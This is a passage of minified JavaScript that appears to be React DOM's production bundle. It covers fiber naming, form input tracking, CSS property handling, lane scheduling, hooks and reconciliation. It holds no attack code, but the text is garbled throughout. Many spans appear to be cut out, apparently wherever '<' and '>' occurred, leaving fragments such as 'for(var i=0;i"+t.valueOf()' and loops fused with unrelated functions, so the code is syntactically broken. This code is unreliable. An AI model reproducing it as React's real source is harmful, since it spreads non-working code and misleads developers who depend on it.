Qs("Lazy");case 13:return Qs("Suspense");case 19:return Qs("SuspenseList");case 0:case 2:case 15:return e=Of(e.type,!1),e;case 11:return e=Of(e.type.render,!1),e;case 1:return e=Of(e.type,!0),e;default:return""}}function Bm(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Aa:return"Fragment";case _a:return"Portal";case Dm:return"Profiler";case Ih:return"StrictMode";case Rm:return"Suspense";case $m:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case gw:return(e.displayName||"Context")+".Consumer";case vw:return(e._context.displayName||"Context")+".Provider";case Dh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Rh:return t=e.displayName||null,t!==null?t:Bm(e.type)||"Memo";case ti:t=e._payload,e=e._init;try{return Bm(e(t))}catch{}}return null}function US(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Bm(t);case 8:return t===Ih?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function Ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function bw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function VS(e){var t=bw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,s=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,s.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Sl(e){e._valueTracker||(e._valueTracker=VS(e))}function ww(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=bw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Pc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Fm(e,t){var n=t.checked;return Ze({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Rv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=Ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function jw(e,t){t=t.checked,t!=null&&Lh(e,"checked",t,!1)}function Wm(e,t){jw(e,t);var n=Ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Um(e,t.type,n):t.hasOwnProperty("defaultValue")&&Um(e,t.type,Ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function $v(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Um(e,t,n){(t!=="number"||Pc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Js=Array.isArray;function Ha(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=Cl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function xo(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var ao={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},HS=["Webkit","ms","Moz","O"];Object.keys(ao).forEach(function(e){HS.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),ao[t]=ao[e]})});function Sw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||ao.hasOwnProperty(e)&&ao[e]?(""+t).trim():t+"px"}function Cw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=Sw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var KS=Ze({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Km(e,t){if(t){if(KS[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(ee(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(ee(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(ee(61))}if(t.style!=null&&typeof t.style!="object")throw Error(ee(62))}}function Gm(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ym=null;function $h(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var qm=null,Ka=null,Ga=null;function Wv(e){if(e=nl(e)){if(typeof qm!="function")throw Error(ee(280));var t=e.stateNode;t&&(t=Ju(t),qm(e.stateNode,e.type,t))}}function Pw(e){Ka?Ga?Ga.push(e):Ga=[e]:Ka=e}function Ew(){if(Ka){var e=Ka,t=Ga;if(Ga=Ka=null,Wv(e),t)for(e=0;e>>=0,e===0?32:31-(rC(e)/iC|0)|0}var Pl=64,El=4194304;function eo(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Oc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,s=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=eo(l):(s&=o,s!==0&&(r=eo(s)))}else o=n&~i,o!==0?r=eo(o):s!==0&&(r=eo(s));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,s=t&-t,i>=s||i===16&&(s&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function el(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Kn(t),e[t]=n}function lC(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=oo),Zv=" ",Qv=!1;function qw(e,t){switch(e){case"keyup":return IC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Xw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Oa=!1;function RC(e,t){switch(e){case"compositionend":return Xw(t);case"keypress":return t.which!==32?null:(Qv=!0,Zv);case"textInput":return e=t.data,e===Zv&&Qv?null:e;default:return null}}function $C(e,t){if(Oa)return e==="compositionend"||!Gh&&qw(e,t)?(e=Gw(),fc=Vh=oi=null,Oa=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=ng(n)}}function e5(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?e5(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function t5(){for(var e=window,t=Pc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=Pc(e.document)}return t}function Yh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function YC(e){var t=t5(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&e5(n.ownerDocument.documentElement,n)){if(r!==null&&Yh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,s=Math.min(r.start,i);r=r.end===void 0?s:Math.min(r.end,i),!e.extend&&s>r&&(i=r,r=s,s=i),i=rg(n,s);var o=rg(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),s>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ta=null,tp=null,co=null,np=!1;function ig(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;np||Ta==null||Ta!==Pc(r)||(r=Ta,"selectionStart"in r&&Yh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),co&&jo(co,r)||(co=r,r=Lc(tp,"onSelect"),0Ia||(e.current=lp[Ia],lp[Ia]=null,Ia--)}function Be(e,t){Ia++,lp[Ia]=e.current,e.current=t}var ki={},$t=Ei(ki),Qt=Ei(!1),ra=ki;function ts(e,t){var n=e.type.contextTypes;if(!n)return ki;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},s;for(s in n)i[s]=t[s];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Jt(e){return e=e.childContextTypes,e!=null}function Dc(){Ue(Qt),Ue($t)}function dg(e,t,n){if($t.current!==ki)throw Error(ee(168));Be($t,t),Be(Qt,n)}function u5(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(ee(108,US(e)||"Unknown",i));return Ze({},n,r)}function Rc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ki,ra=$t.current,Be($t,e),Be(Qt,Qt.current),!0}function fg(e,t,n){var r=e.stateNode;if(!r)throw Error(ee(169));n?(e=u5(e,t,ra),r.__reactInternalMemoizedMergedChildContext=e,Ue(Qt),Ue($t),Be($t,e)):Ue(Qt),Be(Qt,n)}var jr=null,ed=!1,Kf=!1;function d5(e){jr===null?jr=[e]:jr.push(e)}function sP(e){ed=!0,d5(e)}function _i(){if(!Kf&&jr!==null){Kf=!0;var e=0,t=Le;try{var n=jr;for(Le=1;e>=o,i-=o,kr=1<<32-Kn(t)+i|n<S?(O=z,z=null):O=z.sibling;var A=p(v,z,w[S],j);if(A===null){z===null&&(z=O);break}e&&z&&A.alternate===null&&t(v,z),b=s(A,b,S),k===null?N=A:k.sibling=A,k=A,z=O}if(S===w.length)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;SS?(O=z,z=null):O=z.sibling;var T=p(v,z,A.value,j);if(T===null){z===null&&(z=O);break}e&&z&&T.alternate===null&&t(v,z),b=s(T,b,S),k===null?N=T:k.sibling=T,k=T,z=O}if(A.done)return n(v,z),Ke&&$i(v,S),N;if(z===null){for(;!A.done;S++,A=w.next())A=f(v,A.value,j),A!==null&&(b=s(A,b,S),k===null?N=A:k.sibling=A,k=A);return Ke&&$i(v,S),N}for(z=r(v,z);!A.done;S++,A=w.next())A=h(z,v,S,A.value,j),A!==null&&(e&&A.alternate!==null&&z.delete(A.key===null?S:A.key),b=s(A,b,S),k===null?N=A:k.sibling=A,k=A);return e&&z.forEach(function(P){return t(v,P)}),Ke&&$i(v,S),N}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===Aa&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case zl:e:{for(var N=w.key,k=b;k!==null;){if(k.key===N){if(N=w.type,N===Aa){if(k.tag===7){n(v,k.sibling),b=i(k,w.props.children),b.return=v,v=b;break e}}else if(k.elementType===N||typeof N=="object"&&N!==null&&N.$$typeof===ti&&hg(N)===k.type){n(v,k.sibling),b=i(k,w.props),b.ref=Ds(v,k,w),b.return=v,v=b;break e}n(v,k);break}else t(v,k);k=k.sibling}w.type===Aa?(b=Qi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=bc(w.type,w.key,w.props,null,v.mode,j),j.ref=Ds(v,b,w),j.return=v,v=j)}return o(v);case _a:e:{for(k=w.key;b!==null;){if(b.key===k)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=em(w,v.mode,j),b.return=v,v=b}return o(v);case ti:return k=w._init,y(v,b,k(w._payload),j)}if(Js(w))return x(v,b,w,j);if(Os(w))return g(v,b,w,j);Il(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Jf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var rs=h5(!0),x5=h5(!1),Fc=Ei(null),Wc=null,$a=null,Qh=null;function Jh(){Qh=$a=Wc=null}function ex(e){var t=Fc.current;Ue(Fc),e._currentValue=t}function dp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function qa(e,t){Wc=e,Qh=$a=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Yt=!0),e.firstContext=null)}function _n(e){var t=e._currentValue;if(Qh!==e)if(e={context:e,memoizedValue:t,next:null},$a===null){if(Wc===null)throw Error(ee(308));$a=e,Wc.dependencies={lanes:0,firstContext:e}}else $a=$a.next=e;return t}var Ki=null;function tx(e){Ki===null?Ki=[e]:Ki.push(e)}function v5(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,tx(t)):(n.next=i.next,i.next=n),t.interleaved=n,Or(e,r)}function Or(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var ni=!1;function nx(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function g5(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function hi(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Pe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Or(e,n)}return i=r.interleaved,i===null?(t.next=t,tx(r)):(t.next=i.next,i.next=t),r.interleaved=t,Or(e,n)}function pc(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fh(e,n)}}function xg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,s=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};s===null?i=s=o:s=s.next=o,n=n.next}while(n!==null);s===null?i=s=t:s=s.next=t}else i=s=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:s,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Uc(e,t,n,r){var i=e.updateQueue;ni=!1;var s=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?s=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(s!==null){var f=i.baseState;o=0,d=u=c=null,l=s;do{var p=l.lane,h=l.eventTime;if((r&p)===p){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(p=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,p);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,p=typeof x=="function"?x.call(h,f,p):x,p==null)break e;f=Ze({},f,p);break e;case 2:ni=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,p=i.effects,p===null?i.effects=[l]:p.push(l))}else h={eventTime:h,lane:p,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=p;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;p=l,l=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else s===null&&(i.shared.lanes=0);sa|=o,e.lanes=o,e.memoizedState=f}}function vg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Yf.transition;Yf.transition={};try{e(!1),t()}finally{Le=n,Yf.transition=r}}function L5(){return An().memoizedState}function uP(e,t,n){var r=vi(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},I5(e))D5(t,n);else if(n=v5(e,t,n,r),n!==null){var i=Wt();Gn(n,e,r,i),R5(n,t,r)}}function dP(e,t,n){var r=vi(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(I5(e))D5(t,i);else{var s=e.alternate;if(e.lanes===0&&(s===null||s.lanes===0)&&(s=t.lastRenderedReducer,s!==null))try{var o=t.lastRenderedState,l=s(o,n);if(i.hasEagerState=!0,i.eagerState=l,qn(l,o)){var c=t.interleaved;c===null?(i.next=i,tx(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=v5(e,t,i,r),n!==null&&(i=Wt(),Gn(n,e,r,i),R5(n,t,r))}}function I5(e){var t=e.alternate;return e===qe||t!==null&&t===qe}function D5(e,t){uo=Hc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function R5(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fh(e,n)}}var Kc={readContext:_n,useCallback:It,useContext:It,useEffect:It,useImperativeHandle:It,useInsertionEffect:It,useLayoutEffect:It,useMemo:It,useReducer:It,useRef:It,useState:It,useDebugValue:It,useDeferredValue:It,useTransition:It,useMutableSource:It,useSyncExternalStore:It,useId:It,unstable_isNewReconciler:!1},fP={readContext:_n,useCallback:function(e,t){return ar().memoizedState=[e,t===void 0?null:t],e},useContext:_n,useEffect:yg,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,xc(4194308,4,_5.bind(null,t,e),n)},useLayoutEffect:function(e,t){return xc(4194308,4,e,t)},useInsertionEffect:function(e,t){return xc(4,2,e,t)},useMemo:function(e,t){var n=ar();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=ar();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=uP.bind(null,qe,e),[r.memoizedState,e]},useRef:function(e){var t=ar();return e={current:e},t.memoizedState=e},useState:gg,useDebugValue:ux,useDeferredValue:function(e){return ar().memoizedState=e},useTransition:function(){var e=gg(!1),t=e[0];return e=cP.bind(null,e[1]),ar().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=qe,i=ar();if(Ke){if(n===void 0)throw Error(ee(407));n=n()}else{if(n=t(),Nt===null)throw Error(ee(349));aa&30||j5(r,t,n)}i.memoizedState=n;var s={value:n,getSnapshot:t};return i.queue=s,yg(k5.bind(null,r,s,e),[e]),r.flags|=2048,_o(9,N5.bind(null,r,s,n,t),void 0,null),n},useId:function(){var e=ar(),t=Nt.identifierPrefix;if(Ke){var n=zr,r=kr;n=(r&~(1<<32-Kn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Po++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[sr]=t,e[zo]=r,Y5(e,t,!1,!1),t.stateNode=e;e:{switch(o=Gm(n,r),n){case"dialog":Fe("cancel",e),Fe("close",e),i=r;break;case"iframe":case"object":case"embed":Fe("load",e),i=r;break;case"video":case"audio":for(i=0;iss&&(t.flags|=128,r=!0,Rs(s,!1),t.lanes=4194304)}else{if(!r)if(e=Vc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Rs(s,!0),s.tail===null&&s.tailMode==="hidden"&&!o.alternate&&!Ke)return Dt(t),null}else 2*at()-s.renderingStartTime>ss&&n!==1073741824&&(t.flags|=128,r=!0,Rs(s,!1),t.lanes=4194304);s.isBackwards?(o.sibling=t.child,t.child=o):(n=s.last,n!==null?n.sibling=o:t.child=o,s.last=o)}return s.tail!==null?(t=s.tail,s.rendering=t,s.tail=t.sibling,s.renderingStartTime=at(),t.sibling=null,n=Ye.current,Be(Ye,r?n&1|2:n&1),t):(Dt(t),null);case 22:case 23:return xx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?on&1073741824&&(Dt(t),t.subtreeFlags&6&&(t.flags|=8192)):Dt(t),null;case 24:return null;case 25:return null}throw Error(ee(156,t.tag))}function bP(e,t){switch(Xh(t),t.tag){case 1:return Jt(t.type)&&Dc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return is(),Ue(Qt),Ue($t),ax(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return ix(t),null;case 13:if(Ue(Ye),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(ee(340));ns()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Ue(Ye),null;case 4:return is(),null;case 10:return ex(t.type._context),null;case 22:case 23:return xx(),null;case 24:return null;default:return null}}var Rl=!1,Rt=!1,wP=typeof WeakSet=="function"?WeakSet:Set,me=null;function Ba(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){nt(e,t,r)}else n.current=null}function bp(e,t,n){try{n()}catch(r){nt(e,t,r)}}var _g=!1;function jP(e,t){if(rp=Tc,e=t5(),Yh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,s=r.focusNode;r=r.focusOffset;try{n.nodeType,s.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,p=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==s||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)p=f,f=h;for(;;){if(f===e)break t;if(p===n&&++u===i&&(l=o),p===s&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(ip={focusedElem:e,selectionRange:n},Tc=!1,me=t;me!==null;)if(t=me,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,me=e;else for(;me!==null;){t=me;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Bn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(ee(163))}}catch(j){nt(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,me=e;break}me=t.return}return x=_g,_g=!1,x}function fo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var s=i.destroy;i.destroy=void 0,s!==void 0&&bp(t,n,s)}i=i.next}while(i!==r)}}function rd(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function wp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function Z5(e){var t=e.alternate;t!==null&&(e.alternate=null,Z5(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[sr],delete t[zo],delete t[op],delete t[iP],delete t[aP])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Q5(e){return e.tag===5||e.tag===3||e.tag===4}function Ag(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||Q5(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function jp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Ic));else if(r!==4&&(e=e.child,e!==null))for(jp(e,t,n),e=e.sibling;e!==null;)jp(e,t,n),e=e.sibling}function Np(e,t,n){var 